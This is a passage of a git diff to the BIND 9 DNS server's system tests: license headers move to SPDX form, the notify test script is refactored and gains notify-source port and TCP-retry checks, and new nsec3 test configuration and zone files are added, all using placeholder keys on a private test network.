+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/notify/ns1/root.db b/bin/tests/system/notify/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/notify/ns1/root.db
+++ b/bin/tests/system/notify/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/notify/ns2/example1.db b/bin/tests/system/notify/ns2/example1.db
index 38dd4437bb..3b8d33b882 100644
--- a/bin/tests/system/notify/ns2/example1.db
+++ b/bin/tests/system/notify/ns2/example1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/notify/ns2/example2.db b/bin/tests/system/notify/ns2/example2.db
index 5de0776dfb..c762dd611d 100644
--- a/bin/tests/system/notify/ns2/example2.db
+++ b/bin/tests/system/notify/ns2/example2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/notify/ns2/example3.db b/bin/tests/system/notify/ns2/example3.db
index 01befbcf84..dd3371bdd9 100644
--- a/bin/tests/system/notify/ns2/example3.db
+++ b/bin/tests/system/notify/ns2/example3.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/notify/ns2/example4.db b/bin/tests/system/notify/ns2/example4.db
index 9ff70f8e2a..86d9bf28bd 100644
--- a/bin/tests/system/notify/ns2/example4.db
+++ b/bin/tests/system/notify/ns2/example4.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/notify/ns2/generic.db b/bin/tests/system/notify/ns2/generic.db
index fc688ab5e3..108b55280c 100644
--- a/bin/tests/system/notify/ns2/generic.db
+++ b/bin/tests/system/notify/ns2/generic.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/notify/ns2/named.conf.in b/bin/tests/system/notify/ns2/named.conf.in
index d29abe3204..bc5af9d1b0 100644
--- a/bin/tests/system/notify/ns2/named.conf.in
+++ b/bin/tests/system/notify/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,11 +22,12 @@ options {
 	recursion no;
 	notify yes;
 	startup-notify-rate 5;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -49,16 +52,17 @@ primaries noport { 10.53.0.4; };
 masters x21 port @EXTRAPORT1@ { noport; };
 
 zone x1 {
-    type primary;
+	type primary;
 	file "generic.db";
 	also-notify { 10.53.0.3; };
-    notify primary-only;
+	notify-source 10.53.0.2 port @EXTRAPORT2@;
+	notify primary-only;
 };
 zone x2 {
-    type primary;
+	type primary;
 	file "generic.db";
 	also-notify { 10.53.0.3; };
-    notify master-only; # test old syntax
+	notify master-only; # test old syntax
 };
 
 zone x3 { type primary; file "generic.db"; also-notify { 10.53.0.3; }; };
diff --git a/bin/tests/system/notify/ns3/named.conf.in b/bin/tests/system/notify/ns3/named.conf.in
index 2f8e1eec19..ee21f92c0e 100644
--- a/bin/tests/system/notify/ns3/named.conf.in
+++ b/bin/tests/system/notify/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify yes;
+	dnssec-validation no;
 };
 
 zone "." {
@@ -30,4 +33,12 @@ zone "example" {
 	type secondary;
 	primaries { 10.53.0.2; };
 	file "example.bk";
+	# non-responsive notify recipient (no reply, no ICMP errors)
+	also-notify { 10.53.10.53; };
+};
+
+zone "notify-source-port-test" {
+	type primary;
+	file "notify-source-port-test.db";
+	notify-source 10.53.0.3 port @EXTRAPORT2@;
 };
diff --git a/bin/tests/system/notify/ns3/notify-source-port-test.db b/bin/tests/system/notify/ns3/notify-source-port-test.db
new file mode 100644
index 0000000000..221fca1ee1
--- /dev/null
+++ b/bin/tests/system/notify/ns3/notify-source-port-test.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+notify-source-port-test.	SOA	mname1. . (
+					1          ; serial
+					300        ; refresh (300 seconds)
+					300        ; retry (300 seconds)
+					1814400    ; expire (3 weeks)
+					3600       ; minimum (1 hour)
+				)
+notify-source-port-test.	NS	ns2.notify-source-port-test.
+ns2.notify-source-port-test.	A	10.53.0.2
+notify-source-port-test.	NS	ns3.notify-source-port-test.
+ns3.notify-source-port-test.	A	10.53.0.3
diff --git a/bin/tests/system/notify/ns4/named.conf.in b/bin/tests/system/notify/ns4/named.conf.in
index d1fdae8ea6..95a0ff9c6b 100644
--- a/bin/tests/system/notify/ns4/named.conf.in
+++ b/bin/tests/system/notify/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify yes;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/notify/ns5/named.conf.in b/bin/tests/system/notify/ns5/named.conf.in
index 1ee8df4d3f..3104bc7b6a 100644
--- a/bin/tests/system/notify/ns5/named.conf.in
+++ b/bin/tests/system/notify/ns5/named.conf.in
@@ -1,26 +1,28 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key "a" {
-	algorithm "hmac-md5";
+	algorithm @DEFAULT_HMAC@;
 	secret "aaaaaaaaaaaaaaaaaaaa";
 };
 
 key "b" {
-	algorithm "hmac-md5";
+	algorithm @DEFAULT_HMAC@;
 	secret "bbbbbbbbbbbbbbbbbbbb";
 };
 
 key "c" {
-	algorithm "hmac-md5";
+	algorithm @DEFAULT_HMAC@;
 	secret "cccccccccccccccccccc";
 };
 
@@ -34,6 +36,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify yes;
+	dnssec-validation no;
 };
 
 view "a" {
diff --git a/bin/tests/system/notify/ns5/x21.db b/bin/tests/system/notify/ns5/x21.db
index e3800436d5..8f2ac7d94b 100644
--- a/bin/tests/system/notify/ns5/x21.db
+++ b/bin/tests/system/notify/ns5/x21.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/notify/setup.sh b/bin/tests/system/notify/setup.sh
index e84d2ab3de..19c41fc2c1 100644
--- a/bin/tests/system/notify/setup.sh
+++ b/bin/tests/system/notify/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/notify/tests.sh b/bin/tests/system/notify/tests.sh
index 69289e8844..d2fa8a0ecc 100644
--- a/bin/tests/system/notify/tests.sh
+++ b/bin/tests/system/notify/tests.sh
@@ -1,57 +1,70 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
+# shellcheck disable=SC2034
 . ../conf.sh
 
-DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
-RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
+dig_plus_opts() {
+	$DIG +tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p "${PORT}" "$@"
+}
 
 status=0
 n=0
 
+test_start() {
+	n=$((n+1))
+	echo_i "$* ($n)"
+	ret=0
+}
+
+test_end() {
+	[ $ret = 0 ] || echo_i "failed"
+	status=$((status + ret))
+}
+
 #
 # Wait up to 10 seconds for the servers to finish starting before testing.
 #
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG +tcp -p ${PORT} example @10.53.0.2 soa > dig.out.ns2.test$n || ret=1
+	$DIG +tcp -p "${PORT}" example @10.53.0.2 soa > dig.out.ns2.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 	grep "flags:.* aa[ ;]" dig.out.ns2.test$n > /dev/null || ret=1
-	$DIG +tcp -p ${PORT} example @10.53.0.3 soa > dig.out.ns3.test$n || ret=1
+	$DIG +tcp -p "${PORT}" example @10.53.0.3 soa > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "flags:.* aa[ ;]" dig.out.ns3.test$n > /dev/null || ret=1
-        nr=`grep 'x[0-9].*sending notify to' ns2/named.run | wc -l`
-        [ $nr -eq 20 ] || ret=1
+        nr=$(grep -c 'x[0-9].*sending notify to' ns2/named.run)
+        [ "$nr" -eq 20 ] || ret=1
 	[ $ret = 0 ] && break
 	sleep 1
 done
 
-n=`expr $n + 1`
-echo_i "checking initial status ($n)"
-ret=0
-$DIG $DIGOPTS a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
+test_start "checking initial status"
+
+dig_plus_opts a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "10.0.0.1" dig.out.ns2.test$n > /dev/null || ret=1
 
-$DIG $DIGOPTS a.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+dig_plus_opts a.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
 grep "10.0.0.1" dig.out.ns3.test$n > /dev/null || ret=1
 
 digcomp dig.out.ns2.test$n dig.out.ns3.test$n || ret=1
 
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_end
 
-n=`expr $n + 1`
-echo_i "checking startup notify rate limit ($n)"
-ret=0
+test_start "checking startup notify rate limit"
 awk '/x[0-9].*sending notify to/ {
 	split($2, a, ":");
 	this = a[1] * 3600 + a[2] * 60 + a[3];
@@ -84,156 +97,130 @@ END {
 	if (average < 0.180) exit(1);
 	if (count < 20) exit(1);
 }' ns2/named.run > awk.out.ns2.test$n || ret=1
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_end
 
 nextpart ns3/named.run > /dev/null
 
 sleep 1 # make sure filesystem time stamp is newer for reload.
 rm -f ns2/example.db
 cp -f ns2/example2.db ns2/example.db
-if [ ! "$CYGWIN" ]; then
-    echo_i "reloading with example2 using HUP and waiting up to 45 seconds"
-    $KILL -HUP `cat ns2/named.pid`
-else
-    echo_i "reloading with example2 using rndc and waiting up to 45 seconds"
-    rndc_reload ns2 10.53.0.2
-fi
-
-try=0
-while test $try -lt 45
-do
-    nextpart ns3/named.run > tmp
-    grep "transfer of 'example/IN' from 10.53.0.2#.*success" tmp > /dev/null && break
-    sleep 1
-    try=`expr $try + 1`
-done
+echo_i "reloading with example2 using HUP and waiting up to 45 seconds"
+kill -HUP "$(cat ns2/named.pid)"
+wait_for_log_re 45 "transfer of 'example/IN' from 10.53.0.2#.*success" ns3/named.run
 
-n=`expr $n + 1`
-echo_i "checking notify message was logged ($n)"
-ret=0
+test_start "checking notify message was logged"
 grep 'notify from 10.53.0.2#[0-9][0-9]*: serial 2$' ns3/named.run > /dev/null || ret=1
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_end
 
-n=`expr $n + 1`
-echo_i "checking example2 loaded ($n)"
-ret=0
-$DIG $DIGOPTS a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
+test_start "checking example2 loaded"
+dig_plus_opts a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "10.0.0.2" dig.out.ns2.test$n > /dev/null || ret=1
+test_end
 
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_start "checking example2 contents have been transferred after HUP reload"
 
-n=`expr $n + 1`
-echo_i "checking example2 contents have been transferred after HUP reload ($n)"
-ret=0
-$DIG $DIGOPTS a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
+dig_plus_opts a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "10.0.0.2" dig.out.ns2.test$n > /dev/null || ret=1
 
-$DIG $DIGOPTS a.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+dig_plus_opts a.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
 grep "10.0.0.2" dig.out.ns3.test$n > /dev/null || ret=1
 
 digcomp dig.out.ns2.test$n dig.out.ns3.test$n || ret=1
 
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_end
 
-echo_i "stopping master and restarting with example4 then waiting up to 45 seconds"
-stop_server notify ns2
+echo_i "stopping primary and restarting with example4 then waiting up to 45 seconds"
+stop_server ns2
 
 rm -f ns2/example.db
 cp -f ns2/example4.db ns2/example.db
 
-start_server --noclean --restart --port ${PORT} notify ns2
+start_server --noclean --restart --port "${PORT}" ns2
+wait_for_log_re 45 "transfer of 'example/IN' from 10.53.0.2#.*success" ns3/named.run
 
-try=0
-while test $try -lt 45
-do
-    nextpart ns3/named.run > tmp
-    grep "transfer of 'example/IN' from 10.53.0.2#.*success" tmp > /dev/null && break
-    sleep 1
-    try=`expr $try + 1`
-done
-
-n=`expr $n + 1`
-echo_i "checking notify message was logged ($n)"
-ret=0
+test_start "checking notify message was logged"
 grep 'notify from 10.53.0.2#[0-9][0-9]*: serial 4$' ns3/named.run > /dev/null || ret=1
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_end
 
-n=`expr $n + 1`
-echo_i "checking example4 loaded ($n)"
-ret=0
-$DIG $DIGOPTS a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
+test_start "checking example4 loaded"
+dig_plus_opts a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "10.0.0.4" dig.out.ns2.test$n > /dev/null || ret=1
+test_end
 
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_start "checking example4 contents have been transferred after restart"
 
-n=`expr $n + 1`
-echo_i "checking example4 contents have been transferred after restart ($n)"
-ret=0
-$DIG $DIGOPTS a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
+dig_plus_opts a.example. @10.53.0.2 a > dig.out.ns2.test$n || ret=1
 grep "10.0.0.4" dig.out.ns2.test$n > /dev/null || ret=1
 
-$DIG $DIGOPTS a.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+dig_plus_opts a.example. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
 grep "10.0.0.4" dig.out.ns3.test$n > /dev/null || ret=1
 
 digcomp dig.out.ns2.test$n dig.out.ns3.test$n || ret=1
 
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_end
 
-n=`expr $n + 1`
-echo_i "checking notify to alternate port with master inheritance ($n)"
+test_start "checking notify to alternate port with primary server inheritance"
 $NSUPDATE << EOF
 server 10.53.0.2 ${PORT}
 zone x21
 update add added.x21 0 in txt "test string"
 send
 EOF
+fn="dig.out.ns4.test$n"
 for i in 1 2 3 4 5 6 7 8 9
 do
-	$DIG $DIGOPTS added.x21. @10.53.0.4 txt -p $EXTRAPORT1 > dig.out.ns4.test$n || ret=1
-	grep "test string" dig.out.ns4.test$n > /dev/null && break
+	dig_plus_opts added.x21. @10.53.0.4 txt -p "$EXTRAPORT1" > "$fn" || ret=1
+	grep "test string" "$fn" > /dev/null && break
 	sleep 1
 done
-grep "test string" dig.out.ns4.test$n > /dev/null || ret=1
-
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+grep "test string" "$fn" > /dev/null || ret=1
+test_end
 
-n=`expr $n + 1`
-echo_i "checking notify to multiple views using tsig ($n)"
-ret=0
+test_start "checking notify to multiple views using tsig"
 $NSUPDATE << EOF
 server 10.53.0.5 ${PORT}
 zone x21
-key a aaaaaaaaaaaaaaaaaaaa
+key $DEFAULT_HMAC:a aaaaaaaaaaaaaaaaaaaa
 update add added.x21 0 in txt "test string"
 send
 EOF
-
+fnb="dig.out.b.ns5.test$n"
+fnc="dig.out.c.ns5.test$n"
 for i in 1 2 3 4 5 6 7 8 9
 do
-	$DIG $DIGOPTS added.x21. -y b:bbbbbbbbbbbbbbbbbbbb @10.53.0.5 \
-		txt > dig.out.b.ns5.test$n || ret=1
-	$DIG $DIGOPTS added.x21. -y c:cccccccccccccccccccc @10.53.0.5 \
-		txt > dig.out.c.ns5.test$n || ret=1
-	grep "test string" dig.out.b.ns5.test$n > /dev/null &&
-	grep "test string" dig.out.c.ns5.test$n > /dev/null &&
+	dig_plus_opts added.x21. -y "${DEFAULT_HMAC}:b:bbbbbbbbbbbbbbbbbbbb" @10.53.0.5 \
+		txt > "$fnb" || ret=1
+	dig_plus_opts added.x21. -y "${DEFAULT_HMAC}:c:cccccccccccccccccccc" @10.53.0.5 \
+		txt > "$fnc" || ret=1
+	grep "test string" "$fnb" > /dev/null &&
+	grep "test string" "$fnc" > /dev/null &&
 	break
 	sleep 1
 done
-grep "test string" dig.out.b.ns5.test$n > /dev/null || ret=1
-grep "test string" dig.out.c.ns5.test$n > /dev/null || ret=1
+grep "test string" "$fnb" > /dev/null || ret=1
+grep "test string" "$fnc" > /dev/null || ret=1
 grep "sending notify to 10.53.0.5#[0-9]* : TSIG (b)" ns5/named.run > /dev/null || ret=1
 grep "sending notify to 10.53.0.5#[0-9]* : TSIG (c)" ns5/named.run > /dev/null || ret=1
-
-[ $ret = 0 ] || echo_i "failed"
-status=`expr $ret + $status`
+test_end
+
+test_start "checking notify-source uses port option correctly"
+grep "10.53.0.3#${EXTRAPORT2}: received notify for zone 'notify-source-port-test'" ns2/named.run > /dev/null || ret=1
+test_end
+
+# notify messages were sent to unresponsive 10.53.10.53 during the tests
+# above, which should time out at some point; we need to wait for them to
+# appear in the logs in case the tests run faster than the notify timeouts
+
+test_start "checking notify to retry over TCP within 45 seconds"
+nextpartreset ns3/named.run
+wait_for_log 45 'retrying over TCP' ns3/named.run || ret=1
+test_end
+
+# the TCP timeout is set to 15 seconds, double that for some leeway
+test_start "checking notify retries expire within 30 seconds"
+nextpartreset ns3/named.run
+wait_for_log 30 'retries exceeded' ns3/named.run || ret=1
+test_end
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/notify/tests_sh_notify.py b/bin/tests/system/notify/tests_sh_notify.py
new file mode 100644
index 0000000000..105b2d8238
--- /dev/null
+++ b/bin/tests/system/notify/tests_sh_notify.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_notify(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/nsec3/clean.sh b/bin/tests/system/nsec3/clean.sh
index c6d322babb..8714dfe4b5 100644
--- a/bin/tests/system/nsec3/clean.sh
+++ b/bin/tests/system/nsec3/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,9 +13,11 @@
 
 set -e
 
-rm -f dig.out.* rndc.signing.*
-rm -f ns*/named.conf ns*/named.memstats ns*/named.run*
+rm -f created.key-* *.created unused.key-*
+rm -f dig.out.* rndc.reload.* rndc.signing.* update.out.* verify.out.*
 rm -f ns*/*.jnl ns*/*.jbk ns*/managed-keys.bind
 rm -f ns*/K*.private ns*/K*.key ns*/K*.state
 rm -f ns*/dsset-* ns*/*.db ns*/*.db.signed
-
+rm -f ns*/keygen.out.* ns*/settime.out.*
+rm -f ns*/named.conf ns*/named.memstats ns*/named.run*
+rm -f ns3/named-fips.conf
diff --git a/bin/tests/system/nsec3/ns2/named.conf.in b/bin/tests/system/nsec3/ns2/named.conf.in
new file mode 100644
index 0000000000..924e9d26cb
--- /dev/null
+++ b/bin/tests/system/nsec3/ns2/named.conf.in
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS2
+
+dnssec-policy "nsec3" {
+	nsec3param;
+};
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "nsec3-xfr-inline.kasp" {
+	type primary;
+	file "nsec3-xfr-inline.kasp.db";
+	dnssec-policy "nsec3";
+};
diff --git a/bin/tests/system/nsec3/ns2/setup.sh b/bin/tests/system/nsec3/ns2/setup.sh
new file mode 100644
index 0000000000..1cbe02f9c0
--- /dev/null
+++ b/bin/tests/system/nsec3/ns2/setup.sh
@@ -0,0 +1,22 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns2/setup.sh"
+
+zone="nsec3-xfr-inline.kasp"
+echo_i "setting up zone: $zone"
+zonefile="${zone}.db"
+cp template.db.in "$zonefile"
diff --git a/bin/tests/system/nsec3/ns2/template.db.in b/bin/tests/system/nsec3/ns2/template.db.in
new file mode 100644
index 0000000000..8379c37213
--- /dev/null
+++ b/bin/tests/system/nsec3/ns2/template.db.in
@@ -0,0 +1,28 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			1       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns2
+ns2			A	10.53.0.2
+ns3			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
+
diff --git a/bin/tests/system/nsec3/ns3/named-fips.conf.in b/bin/tests/system/nsec3/ns3/named-fips.conf.in
new file mode 100644
index 0000000000..7890d4aa6d
--- /dev/null
+++ b/bin/tests/system/nsec3/ns3/named-fips.conf.in
